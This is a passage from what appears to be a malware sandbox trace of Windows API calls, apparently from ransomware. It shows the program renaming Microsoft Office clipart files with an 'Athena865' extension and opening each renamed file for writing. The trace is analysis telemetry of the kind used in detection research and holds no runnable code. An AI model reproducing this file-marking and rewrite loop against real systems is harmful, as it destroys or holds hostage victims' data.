Office\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099147.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099147.jpg.athena865"), dwFlags=0x1) returned 1 [0124.004] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099147.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.004] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=24377) returned 1 [0124.010] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0099148.JPG" | out: lpString1="J0099148.JPG") returned="J0099148.JPG" [0124.010] lstrlenW (lpString="J0099148.JPG") returned 12 [0124.010] lstrlenW (lpString="Athena865") returned 9 [0124.010] lstrcmpiW (lpString1="99148.JPG", lpString2="Athena865") returned -1 [0124.010] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG.Athena865") returned 73 [0124.010] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099148.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099148.jpg.athena865"), dwFlags=0x1) returned 1 [0124.011] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099148.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.011] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=18258) returned 1 [0124.015] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0099149.WMF" | out: lpString1="J0099149.WMF") returned="J0099149.WMF" [0124.015] lstrlenW (lpString="J0099149.WMF") returned 12 [0124.015] lstrlenW (lpString="Athena865") returned 9 [0124.015] lstrcmpiW (lpString1="99149.WMF", lpString2="Athena865") returned -1 [0124.015] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF.Athena865") returned 73 [0124.015] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099149.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099149.wmf.athena865"), dwFlags=0x1) returned 1 [0124.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099149.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.019] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=73214) returned 1 [0124.028] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0099150.JPG" | out: lpString1="J0099150.JPG") returned="J0099150.JPG" [0124.028] lstrlenW (lpString="J0099150.JPG") returned 12 [0124.028] lstrlenW (lpString="Athena865") returned 9 [0124.028] lstrcmpiW (lpString1="99150.JPG", lpString2="Athena865") returned -1 [0124.028] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG.Athena865") returned 73 [0124.028] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099150.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099150.jpg.athena865"), dwFlags=0x1) returned 1 [0124.029] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099150.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.029] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=21914) returned 1 [0124.034] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0099151.WMF" | out: lpString1="J0099151.WMF") returned="J0099151.WMF" [0124.034] lstrlenW (lpString="J0099151.WMF") returned 12 [0124.034] lstrlenW (lpString="Athena865") returned 9 [0124.034] lstrcmpiW (lpString1="99151.WMF", lpString2="Athena865") returned -1 [0124.034] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF.Athena865") returned 73 [0124.034] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099151.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099151.wmf.athena865"), dwFlags=0x1) returned 1 [0124.035] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099151.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.035] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=26086) returned 1 [0124.039] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0099152.JPG" | out: lpString1="J0099152.JPG") returned="J0099152.JPG" [0124.039] lstrlenW (lpString="J0099152.JPG") returned 12 [0124.039] lstrlenW (lpString="Athena865") returned 9 [0124.039] lstrcmpiW (lpString1="99152.JPG", lpString2="Athena865") returned -1 [0124.039] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG.Athena865") returned 73 [0124.039] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099152.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099152.jpg.athena865"), dwFlags=0x1) returned 1 [0124.040] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099152.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.040] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=11694) returned 1 [0124.043] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0099153.WMF" | out: lpString1="J0099153.WMF") returned="J0099153.WMF" [0124.043] lstrlenW (lpString="J0099153.WMF") returned 12 [0124.043] lstrlenW (lpString="Athena865") returned 9 [0124.043] lstrcmpiW (lpString1="99153.WMF", lpString2="Athena865") returned -1 [0124.044] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF.Athena865") returned 73 [0124.044] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099153.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099153.wmf.athena865"), dwFlags=0x1) returned 1 [0124.046] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099153.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.047] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=13874) returned 1 [0124.050] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0099154.JPG" | out: lpString1="J0099154.JPG") returned="J0099154.JPG" [0124.050] lstrlenW (lpString="J0099154.JPG") returned 12 [0124.050] lstrlenW (lpString="Athena865") returned 9 [0124.050] lstrcmpiW (lpString1="99154.JPG", lpString2="Athena865") returned -1 [0124.050] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG.Athena865") returned 73 [0124.050] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099154.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099154.jpg.athena865"), dwFlags=0x1) returned 1 [0124.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099154.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.052] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6929) returned 1 [0124.055] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0099155.JPG" | out: lpString1="J0099155.JPG") returned="J0099155.JPG" [0124.055] lstrlenW (lpString="J0099155.JPG") returned 12 [0124.055] lstrlenW (lpString="Athena865") returned 9 [0124.055] lstrcmpiW (lpString1="99155.JPG", lpString2="Athena865") returned -1 [0124.055] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG.Athena865") returned 73 [0124.056] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099155.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099155.jpg.athena865"), dwFlags=0x1) returned 1 [0124.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099155.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.057] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=8826) returned 1 [0124.060] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0099156.JPG" | out: lpString1="J0099156.JPG") returned="J0099156.JPG" [0124.060] lstrlenW (lpString="J0099156.JPG") returned 12 [0124.060] lstrlenW (lpString="Athena865") returned 9 [0124.060] lstrcmpiW (lpString1="99156.JPG", lpString2="Athena865") returned -1 [0124.060] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG.Athena865") returned 73 [0124.060] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099156.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099156.jpg.athena865"), dwFlags=0x1) returned 1 [0124.061] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099156.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.061] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=13954) returned 1 [0124.065] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0099157.JPG" | out: lpString1="J0099157.JPG") returned="J0099157.JPG" [0124.065] lstrlenW (lpString="J0099157.JPG") returned 12 [0124.065] lstrlenW (lpString="Athena865") returned 9 [0124.065] lstrcmpiW (lpString1="99157.JPG", lpString2="Athena865") returned -1 [0124.065] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG.Athena865") returned 73 [0124.065] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099157.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099157.jpg.athena865"), dwFlags=0x1) returned 1 [0124.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099157.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.067] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=9671) returned 1 [0124.071] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0099158.WMF" | out: lpString1="J0099158.WMF") returned="J0099158.WMF" [0124.071] lstrlenW (lpString="J0099158.WMF") returned 12 [0124.071] lstrlenW (lpString="Athena865") returned 9 [0124.071] lstrcmpiW (lpString1="99158.WMF", lpString2="Athena865") returned -1 [0124.071] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF.Athena865") returned 73 [0124.071] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099158.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099158.wmf.athena865"), dwFlags=0x1) returned 1 [0124.073] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099158.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.073] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=26160) returned 1 [0124.077] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0099159.WMF" | out: lpString1="J0099159.WMF") returned="J0099159.WMF" [0124.077] lstrlenW (lpString="J0099159.WMF") returned 12 [0124.077] lstrlenW (lpString="Athena865") returned 9 [0124.077] lstrcmpiW (lpString1="99159.WMF", lpString2="Athena865") returned -1 [0124.077] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF.Athena865") returned 73 [0124.077] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099159.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099159.wmf.athena865"), dwFlags=0x1) returned 1 [0124.078] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099159.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.078] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=27546) returned 1 [0124.085] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0099160.JPG" | out: lpString1="J0099160.JPG") returned="J0099160.JPG" [0124.085] lstrlenW (lpString="J0099160.JPG") returned 12 [0124.085] lstrlenW (lpString="Athena865") returned 9 [0124.085] lstrcmpiW (lpString1="99160.JPG", lpString2="Athena865") returned -1 [0124.085] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG.Athena865") returned 73 [0124.085] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099160.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099160.jpg.athena865"), dwFlags=0x1) returned 1 [0124.087] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099160.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.087] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=15145) returned 1 [0124.090] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0099161.JPG" | out: lpString1="J0099161.JPG") returned="J0099161.JPG" [0124.090] lstrlenW (lpString="J0099161.JPG") returned 12 [0124.090] lstrlenW (lpString="Athena865") returned 9 [0124.090] lstrcmpiW (lpString1="99161.JPG", lpString2="Athena865") returned -1 [0124.091] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG.Athena865") returned 73 [0124.091] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099161.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099161.jpg.athena865"), dwFlags=0x1) returned 1 [0124.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099161.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.092] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7154) returned 1 [0124.095] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0099162.JPG" | out: lpString1="J0099162.JPG") returned="J0099162.JPG" [0124.095] lstrlenW (lpString="J0099162.JPG") returned 12 [0124.095] lstrlenW (lpString="Athena865") returned 9 [0124.095] lstrcmpiW (lpString1="99162.JPG", lpString2="Athena865") returned -1 [0124.095] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG.Athena865") returned 73 [0124.095] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099162.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099162.jpg.athena865"), dwFlags=0x1) returned 1 [0124.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099162.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.097] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=19656) returned 1 [0124.100] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0099163.WMF" | out: lpString1="J0099163.WMF") returned="J0099163.WMF" [0124.100] lstrlenW (lpString="J0099163.WMF") returned 12 [0124.100] lstrlenW (lpString="Athena865") returned 9 [0124.101] lstrcmpiW (lpString1="99163.WMF", lpString2="Athena865") returned -1 [0124.101] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF.Athena865") returned 73 [0124.101] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099163.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099163.wmf.athena865"), dwFlags=0x1) returned 1 [0124.102] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099163.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.102] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=22356) returned 1 [0124.106] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0099164.WMF" | out: lpString1="J0099164.WMF") returned="J0099164.WMF" [0124.106] lstrlenW (lpString="J0099164.WMF") returned 12 [0124.106] lstrlenW (lpString="Athena865") returned 9 [0124.106] lstrcmpiW (lpString1="99164.WMF", lpString2="Athena865") returned -1 [0124.106] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF.Athena865") returned 73 [0124.106] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099164.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099164.wmf.athena865"), dwFlags=0x1) returned 1 [0124.108] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099164.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.108] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=21946) returned 1 [0124.111] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0099165.JPG" | out: lpString1="J0099165.JPG") returned="J0099165.JPG" [0124.111] lstrlenW (lpString="J0099165.JPG") returned 12 [0124.111] lstrlenW (lpString="Athena865") returned 9 [0124.111] lstrcmpiW (lpString1="99165.JPG", lpString2="Athena865") returned -1 [0124.111] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG.Athena865") returned 73 [0124.111] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099165.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099165.jpg.athena865"), dwFlags=0x1) returned 1 [0124.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099165.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.113] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=50490) returned 1 [0124.124] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0099166.JPG" | out: lpString1="J0099166.JPG") returned="J0099166.JPG" [0124.124] lstrlenW (lpString="J0099166.JPG") returned 12 [0124.124] lstrlenW (lpString="Athena865") returned 9 [0124.124] lstrcmpiW (lpString1="99166.JPG", lpString2="Athena865") returned -1 [0124.125] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG.Athena865") returned 73 [0124.125] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099166.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099166.jpg.athena865"), dwFlags=0x1) returned 1 [0124.127] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099166.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 